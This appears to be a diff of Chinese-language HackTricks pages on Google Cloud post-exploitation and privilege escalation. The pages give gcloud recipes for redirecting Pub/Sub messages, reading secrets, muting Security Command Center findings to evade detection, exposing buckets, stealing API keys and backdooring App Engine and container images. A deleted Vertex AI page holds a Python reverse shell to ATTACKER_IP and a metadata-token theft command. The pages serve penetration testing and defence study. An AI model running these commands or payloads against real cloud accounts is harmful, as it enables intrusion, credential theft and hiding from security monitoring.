gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
|
||||
## This command will wait for a message to be posted
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.delete`
|
||||
|
||||
**删除订阅** 可能对干扰日志处理系统或类似的东西有用:
|
||||
**删除订阅** 可能有助于中断日志处理系统或类似系统:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除订阅</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.update`
|
||||
|
||||
使用此权限更新某些设置,以便消息存储在您可以访问的地方(URL、Big Query 表、Bucket)或仅仅是为了干扰它。
|
||||
使用此权限可以更新某些设置,使消息存储到你可以访问的位置(URL、Big Query 表、Bucket),或仅用于中断它。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>更新订阅端点</summary>
|
||||
```bash
|
||||
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.subscriptions.setIamPolicy`
|
||||
|
||||
授予自己执行之前提到的攻击所需的权限。
|
||||
为自己授予执行之前提到的任何攻击所需的权限。
|
||||
|
||||
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
|
||||
|
||||
将一个模式攻击到一个主题,以便消息不符合该模式,从而导致主题中断。\
|
||||
如果没有任何模式,您可能需要创建一个。
|
||||
将 schema 附加到 topic,使 messages 不符合它,从而导致 topic 被中断。\
|
||||
如果没有任何 schemas,可能需要创建一个。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建 schema 文件并附加到 topic</summary>
|
||||
```json:schema.json
|
||||
{
|
||||
"namespace": "com.example",
|
||||
@@ -98,23 +144,37 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
|
||||
--schema=projects/<project-name>/schemas/<topic-id> \
|
||||
--message-encoding=json
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.delete`
|
||||
|
||||
这看起来像是在删除一个模式,但你将能够发送不符合该模式的消息。然而,由于模式将被删除,实际上没有消息会进入主题。因此这是**无用的**:
|
||||
这看起来像是删除 schema 后你就能够发送不符合该 schema 的消息。然而,由于 schema 已被删除,实际上不会有消息进入该 topic。所以这是 **无用的**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除 schema(无用)</summary>
|
||||
```bash
|
||||
gcloud pubsub schemas delete <SCHEMA NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.schemas.setIamPolicy`
|
||||
|
||||
授予自己执行之前提到的攻击所需的权限。
|
||||
为自己授予执行之前提到的任何攻击所需的权限。
|
||||
|
||||
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
|
||||
|
||||
这将创建所有未确认消息的快照并将它们放回订阅中。对于攻击者来说不是很有用,但在这里它是:
|
||||
这将创建一个包含所有未 ACK 的消息的快照并将它们放回订阅中。对攻击者来说不是很有用,但这里是:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建快照并将订阅回溯到该快照</summary>
|
||||
```bash
|
||||
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
|
||||
--subscription=YOUR_SUBSCRIPTION_NAME
|
||||
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
|
||||
--snapshot=YOUR_SNAPSHOT_NAME
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+8
-2
@@ -1,4 +1,4 @@
|
||||
# GCP - Secretmanager 后期利用
|
||||
# GCP - Secretmanager Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,9 +12,15 @@
|
||||
|
||||
### `secretmanager.versions.access`
|
||||
|
||||
这使您可以访问从秘密管理器读取秘密,并且这可能有助于提升权限(具体取决于秘密中存储的信息):
|
||||
这会授予你从 Secret Manager 读取 secrets 的权限,并可能帮助你提升权限(取决于存储在 secret 中的信息):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>访问 secret 版本</summary>
|
||||
```bash
|
||||
# Get clear-text of version 1 of secret: "<secret name>"
|
||||
gcloud secrets versions access 1 --secret="<secret_name>"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+39
-9
@@ -1,10 +1,10 @@
|
||||
# GCP - 安全后渗透
|
||||
# GCP - 利用后安全
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 安全
|
||||
|
||||
有关更多信息,请查看:
|
||||
欲了解更多信息请参阅:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-security-enum.md
|
||||
@@ -12,37 +12,67 @@
|
||||
|
||||
### `securitycenter.muteconfigs.create`
|
||||
|
||||
通过创建 `muteconfig` 来防止生成可能检测到攻击者的发现:
|
||||
通过创建一个 `muteconfig` 来阻止生成可能检测到攻击者的发现:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create Muteconfig</summary>
|
||||
```bash
|
||||
# Create Muteconfig
|
||||
gcloud scc muteconfigs create my-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.muteconfigs.update`
|
||||
|
||||
通过更新 `muteconfig` 来防止生成可能检测到攻击者的发现:
|
||||
通过更新 `muteconfig` 来阻止生成可能检测到攻击者的发现:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>更新 Muteconfig</summary>
|
||||
```bash
|
||||
# Update Muteconfig
|
||||
gcloud scc muteconfigs update my-test-mute-config --organization=123 --description="This is a test mute config" --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.bulkMuteUpdate`
|
||||
|
||||
根据筛选器静音发现:
|
||||
基于过滤器静音发现:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>基于过滤器的批量静音</summary>
|
||||
```bash
|
||||
# Mute based on a filter
|
||||
gcloud scc findings bulk-mute --organization=929851756715 --filter="category=\"XSS_SCRIPTING\""
|
||||
```
|
||||
静音的发现不会出现在SCC仪表板和报告中。
|
||||
</details>
|
||||
|
||||
被静音的 finding 不会出现在 SCC 仪表板和报告中。
|
||||
|
||||
### `securitycenter.findings.setMute`
|
||||
|
||||
根据来源、发现等静音发现...
|
||||
根据 source、findings 等条件对 findings 进行静音...
|
||||
|
||||
<details>
|
||||
|
||||
<summary>将 finding 设为静音</summary>
|
||||
```bash
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
gcloud scc findings set-mute 789 --organization=organizations/123 --source=456 --mute=MUTED
|
||||
```
|
||||
</details>
|
||||
|
||||
### `securitycenter.findings.update`
|
||||
|
||||
更新发现以指示错误信息:
|
||||
将一个 finding 更新为表示信息有误:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>更新 finding 状态</summary>
|
||||
```bash
|
||||
gcloud scc findings update `myFinding` --organization=123456 --source=5678 --state=INACTIVE
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+13
-7
@@ -1,18 +1,22 @@
|
||||
# GCP - 存储后渗透
|
||||
# GCP - 存储 利用后操作
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 云存储
|
||||
## Cloud Storage
|
||||
|
||||
有关云存储的更多信息,请查看此页面:
|
||||
有关 Cloud Storage 的更多信息,请查看此页面:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 给予公共访问
|
||||
### 授予公共访问权限
|
||||
|
||||
可以向外部用户(无论是否登录 GCP)提供对存储桶内容的访问权限。然而,默认情况下,存储桶将禁用公开暴露存储桶的选项:
|
||||
可以授予外部用户(是否登录 GCP 均可)对存储桶内容的访问权限。但默认情况下,存储桶会禁用对外公开存储桶的选项:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使存储桶/对象公开</summary>
|
||||
```bash
|
||||
# Disable public prevention
|
||||
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
|
||||
@@ -25,8 +29,10 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
|
||||
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
|
||||
```
|
||||
如果您尝试给**禁用 ACL 的存储桶设置 ACL**,您会发现此错误:`ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
</details>
|
||||
|
||||
要通过浏览器访问开放的存储桶,请访问 URL `https://<bucket_name>.storage.googleapis.com/` 或 `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
如果你尝试给予 **ACLs to a bucket with disabled ACLs**,你会遇到这个错误: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
|
||||
|
||||
要通过浏览器访问开放的 buckets,请访问 URL `https://<bucket_name>.storage.googleapis.com/` 或 `https://<bucket_name>.storage.googleapis.com/<object_name>`
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
-113
@@ -1,113 +0,0 @@
|
||||
# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 场景
|
||||
|
||||
- Vertex AI Model Garden 允许直接部署许多 Hugging Face (HF) 模型。
|
||||
- HF 模型标识符为 Author/ModelName。如果 HF 上的 author/org 被删除,任何人都可以重新注册相同的 author 名称。攻击者随后可以在旧路径上创建具有相同 ModelName 的仓库。
|
||||
- Pipelines、SDKs 或仅按名称获取的 cloud catalogs(无 pinning/integrity)将拉取由攻击者控制的仓库。当模型被部署时,该仓库中的 loader code 可以在 Vertex AI endpoint 容器内部执行,从而以 endpoint 的权限获取 RCE。
|
||||
|
||||
HF 上两种常见的接管情况:
|
||||
- Ownership deletion:旧路径返回 404,直到有人重新注册该 author 并发布相同的 ModelName。
|
||||
- Ownership transfer:HF 会对旧的 Author/ModelName 发出 307 重定向到新所有者。如果旧 author 随后被删除并被攻击者重新注册,重定向链将被打破,攻击者的仓库会在旧路径提供内容。
|
||||
|
||||
## 识别可重用的命名空间 (HF)
|
||||
|
||||
- 已删除旧 author:author 的页面返回 404;模型路径可能在接管前返回 404。
|
||||
- 已转移的模型:在旧 author 存在时,旧的模型路径会对新所有者发出 307。如果旧 author 随后被删除并被重新注册,遗留路径将解析到攻击者的仓库。
|
||||
|
||||
使用 curl 进行快速检查:
|
||||
```bash
|
||||
# Check author/org existence
|
||||
curl -I https://huggingface.co/<Author>
|
||||
# 200 = exists, 404 = deleted/available
|
||||
|
||||
# Check old model path behavior
|
||||
curl -I https://huggingface.co/<Author>/<ModelName>
|
||||
# 307 = redirect to new owner (transfer case)
|
||||
# 404 = missing (deletion case) until someone re-registers
|
||||
```
|
||||
## End-to-end Attack Flow against Vertex AI
|
||||
|
||||
1) Discover reusable model namespaces that Model Garden lists as deployable:
|
||||
- 查找在 Vertex AI Model Garden 中仍显示为 “verified deployable” 的 HF 模型。
|
||||
- 在 HF 上确认原始作者是否已被删除,或模型是否被转移且旧作者随后被移除。
|
||||
|
||||
2) Re-register the deleted author on HF and recreate the same ModelName.
|
||||
|
||||
3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
|
||||
- Side effects in __init__.py of the repo
|
||||
- Custom modeling_*.py or processing code referenced by config/auto_map
|
||||
- Code paths that require trust_remote_code=True in Transformers pipelines
|
||||
|
||||
4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.
|
||||
|
||||
5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions.
|
||||
|
||||
Example payload fragment executed on import (for demonstration only):
|
||||
```python
|
||||
# Place in __init__.py or a module imported by the model loader
|
||||
import os, socket, subprocess, threading
|
||||
|
||||
def _rs(host, port):
|
||||
s = socket.socket(); s.connect((host, port))
|
||||
for fd in (0,1,2):
|
||||
try:
|
||||
os.dup2(s.fileno(), fd)
|
||||
except Exception:
|
||||
pass
|
||||
subprocess.call(["/bin/sh","-i"]) # Or python -c exec ...
|
||||
|
||||
if os.environ.get("VTX_AI","1") == "1":
|
||||
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
|
||||
```
|
||||
Notes
|
||||
- 实际环境中的加载器各不相同。许多 Vertex AI HF 集成会克隆并导入模型配置中引用的仓库模块(例如 auto_map),这可能触发代码执行。有些用法需要 trust_remote_code=True。
|
||||
- 该 endpoint 通常在作用域受限的专用容器中运行,但它仍然是获取数据访问和在 GCP 内横向移动的有效初始立足点。
|
||||
|
||||
## Post-Exploitation Tips (Vertex AI Endpoint)
|
||||
|
||||
一旦代码在 endpoint 容器内运行,可考虑:
|
||||
- 列举环境变量和元数据以获取凭证/令牌
|
||||
- 访问附加存储或挂载的模型制品
|
||||
- 通过服务账户身份与 Google APIs 交互(Document AI、Storage、Pub/Sub 等)
|
||||
- 在模型制品中实现持久化,如果平台会重新拉取仓库
|
||||
|
||||
如果可访问(取决于容器),列举实例元数据:
|
||||
```bash
|
||||
curl -H "Metadata-Flavor: Google" \
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
## Vertex AI 用户的防御建议
|
||||
|
||||
- 在 HF loaders 中按 commit 固定模型以防止静默替换:
|
||||
```python
|
||||
from transformers import AutoModel
|
||||
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
|
||||
```
|
||||
- 将经过审查的 HF 模型镜像到受信任的内部 artifact 存储/注册表,并从那里进行部署。
|
||||
- 持续扫描代码库和配置,查找被硬编码的 Author/ModelName(已删除/已转移);将其更新为新的命名空间或按 commit 固定。
|
||||
- 在 Model Garden 中,部署前验证模型来源和作者是否存在。
|
||||
|
||||
## Recognition Heuristics (HTTP)
|
||||
|
||||
- 已删除的作者:作者页面返回404;遗留模型路径在被接管前返回404。
|
||||
- 已转移的模型:在旧作者仍存在时,遗留路径以307重定向到新作者;如果旧作者随后被删除并重新注册,遗留路径将提供攻击者的内容。
|
||||
```bash
|
||||
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
|
||||
```
|
||||
## 交叉引用
|
||||
|
||||
- 参见更广泛的方法论和供应链说明:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-cloud-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
|
||||
- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -4,17 +4,17 @@
|
||||
|
||||
## Apikeys
|
||||
|
||||
以下权限对于创建和窃取API密钥非常有用,文档中提到:_API密钥是一个简单的加密字符串,它**在没有任何主体的情况下识别一个应用程序**。它们对于**匿名访问公共数据**非常有用,并用于**将**API请求与您的项目关联,以便进行配额和**计费**。_
|
||||
The following permissions are useful to create and steal API keys, not this from the docs: _API key 是一个简单的加密字符串,**在没有任何主体的情况下识别一个应用**。它们对于**匿名访问公共数据** 很有用,并用于**将**API 请求**关联**到你的项目以用于配额和**计费**。_
|
||||
|
||||
因此,使用API密钥,您可以让公司为您使用API付费,但您将无法提升权限。
|
||||
因此,使用 API key 你可以让该公司为你使用 API 支付费用,但你无法通过它来提升权限。
|
||||
|
||||
有关API密钥的更多信息,请查看:
|
||||
For more information about API Keys check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-api-keys-enum.md
|
||||
{{#endref}}
|
||||
|
||||
有关其他创建API密钥的方法,请查看:
|
||||
For other ways to create API keys check:
|
||||
|
||||
{{#ref}}
|
||||
gcp-serviceusage-privesc.md
|
||||
@@ -22,48 +22,63 @@ gcp-serviceusage-privesc.md
|
||||
|
||||
### Brute Force API Key access <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
由于您可能不知道项目中启用了哪些API或对您找到的API密钥施加了哪些限制,因此运行工具 [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 并检查**您可以使用API密钥访问的内容**将是很有趣的。
|
||||
由于你可能不知道该项目启用了哪些 APIs,或对你发现的 API key 应用了哪些限制,建议运行工具 [**https://github.com/ozguralp/gmapsapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 来检查 **使用该 API key 可以访问到哪些内容。**
|
||||
|
||||
### `apikeys.keys.create` <a href="#apikeys.keys.create" id="apikeys.keys.create"></a>
|
||||
|
||||
此权限允许**创建API密钥**:
|
||||
此权限允许**创建 API key**:
|
||||
|
||||
<details>
|
||||
<summary>使用 gcloud 创建 API key</summary>
|
||||
```bash
|
||||
gcloud services api-keys create
|
||||
Operation [operations/akmf.p7-[...]9] complete. Result: {
|
||||
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
|
||||
"createTime":"2022-01-26T12:23:06.281029Z",
|
||||
"etag":"W/\"HOhA[...]==\"",
|
||||
"etag":"W/\"HOhA[...]=\"",
|
||||
"keyString":"AIzaSy[...]oU",
|
||||
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
|
||||
"uid":"f707[...]e8",
|
||||
"updateTime":"2022-01-26T12:23:06.378442Z"
|
||||
}
|
||||
```
|
||||
您可以在这里找到一个脚本,用于自动化[**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh)。
|
||||
</details>
|
||||
|
||||
你可以在这里找到一个脚本来自动化 [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/b-apikeys.keys.create.sh).
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,默认情况下,用户有权限创建新项目,并且他们被授予新项目的所有者角色。因此,用户可以**在此项目中创建一个项目和一个API密钥**。
|
||||
> 注意:默认情况下,用户有权限创建新项目,并且在新项目上被授予 Owner role。因此用户可以**创建一个项目并在该项目内创建一个 API key**。
|
||||
|
||||
### `apikeys.keys.getKeyString` , `apikeys.keys.list` <a href="#apikeys.keys.getkeystringapikeys.keys.list" id="apikeys.keys.getkeystringapikeys.keys.list"></a>
|
||||
|
||||
这些权限允许**列出和获取所有apiKeys并获取密钥**:
|
||||
这些权限允许**列出并获取所有 apiKeys 并获取 Key**:
|
||||
|
||||
<details>
|
||||
<summary>列出并检索所有 API 密钥</summary>
|
||||
```bash
|
||||
for key in $(gcloud services api-keys list --uri); do
|
||||
gcloud services api-keys get-key-string "$key"
|
||||
done
|
||||
```
|
||||
您可以在这里找到一个脚本,用于自动化[**创建、利用和清理漏洞环境**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh)。
|
||||
</details>
|
||||
|
||||
You can find a script to automate the [**creation, exploit and cleaning of a vuln environment here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/c-apikeys.keys.getKeyString.sh).
|
||||
|
||||
### `apikeys.keys.undelete` , `apikeys.keys.list` <a href="#serviceusage.apikeys.regenerateapikeys.keys.list" id="serviceusage.apikeys.regenerateapikeys.keys.list"></a>
|
||||
|
||||
这些权限允许您**列出和重新生成已删除的 API 密钥**。**在完成 undelete 后,输出中会给出 API 密钥**:
|
||||
这些权限允许你**列出并恢复已删除的 API 密钥**。在执行 **undelete** 操作后,**API 密钥会在输出中给出**:
|
||||
|
||||
<details>
|
||||
<summary>列出并恢复 API 密钥</summary>
|
||||
```bash
|
||||
gcloud services api-keys list --show-deleted
|
||||
gcloud services api-keys undelete <key-uid>
|
||||
```
|
||||
### 创建内部 OAuth 应用程序以钓鱼其他员工
|
||||
</details>
|
||||
|
||||
查看以下页面以了解如何执行此操作,尽管此操作属于服务 **`clientauthconfig`** [根据文档](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
### 创建内部 OAuth 应用以 phish 其他工作人员
|
||||
|
||||
查看下列页面以了解如何执行此操作,尽管此操作属于服务 **`clientauthconfig`** [according to the docs](https://cloud.google.com/iap/docs/programmatic-oauth-clients#before-you-begin):
|
||||
|
||||
{{#ref}}
|
||||
../../workspace-security/gws-google-platforms-phishing/
|
||||
|
||||
+45
-19
@@ -12,26 +12,35 @@
|
||||
|
||||
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
|
||||
|
||||
这些是 **使用 `gcloud` cli 部署应用所需的权限**。也许可以 **避免** **`get`** 和 **`list`** 权限。
|
||||
这些是使用 **`gcloud` cli** 部署应用所需的权限。也许那些 **`get`** 和 **`list`** 权限可以省略。
|
||||
|
||||
您可以在 [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine) 找到 Python 代码示例。
|
||||
你可以在以下地址找到 python 示例代码:
|
||||
https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine
|
||||
|
||||
默认情况下,应用服务的名称将为 **`default`**,并且同名的实例只能有一个。\
|
||||
要更改并创建第二个应用,请在 **`app.yaml`** 中,将根键的值更改为 **`service: my-second-app`**。
|
||||
By default, the name of the App service is going to be **`default`**, and there can be only 1 instance with the same name.\
|
||||
要更改名称并创建第二个 App,请在 **`app.yaml`** 中将根键的值改为类似 **`service: my-second-app`** 的内容。
|
||||
|
||||
<details>
|
||||
<summary>部署 App Engine 应用</summary>
|
||||
```bash
|
||||
cd python-docs-samples/appengine/flexible/hello_world
|
||||
gcloud app deploy #Upload and start application inside the folder
|
||||
```
|
||||
给它至少 10-15 分钟,如果不行,请调用 **deploy another of times** 并等待几分钟。
|
||||
</details>
|
||||
|
||||
请至少等待 10–15 分钟,如果不成功,请尝试 **deploy another of times** 并再等待几分钟。
|
||||
|
||||
> [!NOTE]
|
||||
> **可以指定要使用的服务账户**,但默认情况下,使用的是 App Engine 默认服务账户。
|
||||
> 可以**指定要使用的 Service Account**,但默认情况下会使用 App Engine 的默认 SA。
|
||||
|
||||
应用程序的 URL 类似于 `https://<proj-name>.oa.r.appspot.com/` 或 `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
The URL of the application is something like `https://<proj-name>.oa.r.appspot.com/` or `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
|
||||
|
||||
### 更新等效权限
|
||||
|
||||
您可能拥有足够的权限来更新 AppEngine,但没有权限创建新的。在这种情况下,您可以这样更新当前的 App Engine:
|
||||
您可能拥有更新 App Engine 的足够权限,但没有创建新应用的权限。在这种情况下,您可以按如下方式更新当前的 App Engine:
|
||||
|
||||
<details>
|
||||
<summary>更新现有 App Engine 应用</summary>
|
||||
```bash
|
||||
# Find the code of the App Engine in the buckets
|
||||
gsutil ls
|
||||
@@ -62,41 +71,58 @@ gcloud app deploy
|
||||
# Update the SA if you need it (and if you have actas permissions)
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
如果您**已经攻陷了 AppEngine**,并且您拥有权限 **`appengine.applications.update`** 以及 **actAs** 的服务账户,您可以通过以下方式修改 AppEngine 使用的服务账户:
|
||||
</details>
|
||||
|
||||
如果你已经**already compromised a AppEngine**,并且拥有权限**`appengine.applications.update`**,并且对要使用的服务账号拥有**actAs**,你可以通过以下方式修改 AppEngine 使用的服务账号:
|
||||
|
||||
<details>
|
||||
<summary>Update App Engine service account</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
|
||||
|
||||
拥有这些权限,可以在类型为 **flexible**(非标准)的 App Engine 实例中 **通过 ssh 登录**。某些 **`list`** 和 **`get`** 权限 **可能并不真正需要**。
|
||||
有了这些权限,就可以**通过 ssh 登录 App Engine 实例**,前提是实例类型为 **flexible**(非 **standard**)。某些 **`list`** 和 **`get`** 权限**可能并非真正必要**。
|
||||
|
||||
<details>
|
||||
<summary>通过 SSH 登录 App Engine 实例</summary>
|
||||
```bash
|
||||
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.applications.update`, `appengine.operations.get`
|
||||
|
||||
我认为这只是更改 Google 用于设置应用程序的后台服务账户,因此我认为你无法利用这一点来窃取服务账户。
|
||||
我认为这只是更改 google 在设置应用程序时将使用的后台 SA,所以我觉得你无法滥用它来窃取 service account。
|
||||
|
||||
<details>
|
||||
<summary>Update application service account</summary>
|
||||
```bash
|
||||
gcloud app update --service-account=<sa_email>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `appengine.versions.getFileContents`, `appengine.versions.update`
|
||||
|
||||
不确定如何使用这些权限或它们是否有用(请注意,当您更改代码时,会创建一个新版本,因此我不知道您是否可以仅更新代码或其中一个的IAM角色,但我想您应该可以,也许是在存储桶内更改代码??)。
|
||||
不确定如何使用这些权限或它们是否有用(注意当你更改代码时会创建一个新版本,所以我不知道你是否可以仅更新代码或其中一个的 IAM 角色,但我想你应该可以,也许通过更改 bucket 内的代码??)。
|
||||
|
||||
### 对存储桶的写入访问
|
||||
### Write Access over the buckets
|
||||
|
||||
如前所述,appengine版本在格式为`staging.<project-id>.appspot.com`的存储桶内生成一些数据。请注意,由于GCP用户没有权限使用域名`appspot.com`生成存储桶,因此无法预先接管此存储桶。
|
||||
如前所述,appengine versions 会在一个名为:`staging.<project-id>.appspot.com` 的 bucket 中生成一些数据。注意无法 pre-takeover 该 bucket,因为 GCP 用户没有权限使用域名 `appspot.com` 创建 buckets。
|
||||
|
||||
然而,通过对该存储桶的读写访问,可以通过监控存储桶并在每次进行更改时尽快修改代码,从而提升与AppEngine版本关联的SA的权限。这样,从此代码创建的容器将**执行后门代码**。
|
||||
然而,具有该 bucket 的读写访问后,可以通过监视 bucket 并在任何更改发生时尽快修改代码,从而将权限升级到附加在 AppEngine version 上的 SA。这样,由该代码创建的容器将会 **execute the backdoored code**。
|
||||
|
||||
有关更多信息和**PoC,请查看此页面的相关信息**:
|
||||
For more information and a **PoC check the relevant information from this page**:
|
||||
|
||||
{{#ref}}
|
||||
gcp-storage-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### 对Artifact Registry的写入访问
|
||||
### Write Access over the Artifact Registry
|
||||
|
||||
尽管App Engine在Artifact Registry中创建docker镜像。经过测试,**即使您在此服务中修改镜像**并删除App Engine实例(以便部署一个新的实例),**执行的代码也不会改变**。\
|
||||
可能通过执行**与存储桶类似的竞争条件攻击,可能会覆盖执行的代码**,但这尚未经过测试。
|
||||
尽管 App Engine 在 Artifact Registry 中创建 docker 镜像,经测试,**even if you modify the image inside this service** 并移除 App Engine 实例(因此会部署一个新的实例),**code executed doesn't change**。
|
||||
可能存在通过执行 **Race Condition attack like with the buckets it might be possible to overwrite the executed code** 来覆盖被执行代码的可能性,但这未被测试。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+88
-30
@@ -12,7 +12,10 @@
|
||||
|
||||
### artifactregistry.repositories.uploadArtifacts
|
||||
|
||||
拥有此权限的攻击者可以上传带有恶意代码的新版本工件,例如 Docker 镜像:
|
||||
拥有此权限的攻击者可以上传包含恶意代码(例如 Docker 镜像)的制品新版本:
|
||||
|
||||
<details>
|
||||
<summary>上传 Docker 镜像到 Artifact Registry</summary>
|
||||
```bash
|
||||
# Configure docker to use gcloud to authenticate with Artifact Registry
|
||||
gcloud auth configure-docker <location>-docker.pkg.dev
|
||||
@@ -23,20 +26,25 @@ docker tag <local-img-name>:<local-tag> <location>-docker.pkg.dev/<proj-name>/<r
|
||||
# Upload it
|
||||
docker push <location>-docker.pkg.dev/<proj-name>/<repo-name>/<img-name>:<tag>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> 已检查到**可以上传一个新的恶意docker**镜像,名称和标签与已存在的相同,因此**旧的镜像将失去标签**,下次下载带有该标签的镜像时,将会下载到恶意镜像。
|
||||
> 经检查,存在可以上传一个与已存在相同名称和 tag 的恶意 docker image 的情况,因此旧的会失去该 tag,下一次按该 tag 下载时会拉取到恶意的那个。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>上传一个Python库</summary>
|
||||
<summary>Upload a Python library</summary>
|
||||
|
||||
**首先创建要上传的库**(如果可以从注册表下载最新版本,可以跳过此步骤):
|
||||
**首先创建要上传的库**(如果你能从 registry 下载到最新版本,可以省略这一步):
|
||||
|
||||
1. **设置项目结构**:
|
||||
1. **设置你的项目结构**:
|
||||
|
||||
- 创建一个新的目录用于你的库,例如 `hello_world_library`。
|
||||
